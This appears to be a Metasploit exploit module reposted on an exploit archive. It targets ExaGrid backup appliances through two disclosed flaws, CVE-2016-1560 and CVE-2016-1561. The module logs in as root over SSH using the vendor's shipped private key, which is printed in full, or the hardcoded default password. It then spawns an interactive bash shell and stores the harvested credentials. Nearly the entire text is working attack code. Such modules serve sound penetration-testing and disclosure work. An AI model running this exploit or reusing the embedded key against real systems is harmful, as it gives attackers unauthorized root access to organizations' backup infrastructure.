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ExaGrid Known SSH Key / Default Password

Posted on 09 April 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info, {
'Name' => 'ExaGrid Known SSH Key and Default Password',
'Description' => %q{
ExaGrid ships a public/private key pair on their backup appliances to
allow passwordless authentication to other ExaGrid appliances. Since
the private key is easily retrievable, an attacker can use it to gain
unauthorized remote access as root. Additionally, this module will
attempt to use the default password for root, 'inflection'.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1560' ], # password
[ 'CVE', '2016-1561' ], # private key
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
],
'DisclosureDate' => "Apr 07 2016",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)
ssh_options = {
auth_methods: ['publickey', 'password'],
config: false,
disable_agent: true,
key_data: [ key_data ],
msfmodule: self,
msframework: framework,
password: 'inflection',
port: rport,
proxies: datastore['Proxies'],
record_auth_info: true,
}
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
ssh_socket = nil

return conn
else
return false
end
end

# Ghetto hack to prevent the shell detection logic from hitting false
# negatives due to weirdness with ssh sockets. We already know it's a shell
# because auth succeeded by this point, so no need to do the check anyway.
module TrustMeItsAShell
def _check_shell(*args)
true
end
end

def exploit
payload_instance.extend(TrustMeItsAShell)

conn = do_login("root")
if conn
print_good "Successful login"
service_data = {
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'ssh',
workspace_id: myworkspace_id,
}
credential_data = {
username: 'root',
private_type: (conn.ssh.auth_info[:method] == "publickey" ? :ssh_key : :password),
private_data: (conn.ssh.auth_info[:method] == "publickey" ? key_data : 'inflection'),
origin_type: :service,
module_fullname: fullname,
}.merge(service_data)

core = create_credential(credential_data)
login_data = {
core: core,
last_attempted: Time.now,
}.merge(service_data)

create_credential_login(login_data)

handler(conn.lsock)
end
end

def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----
EOF
end

end

 

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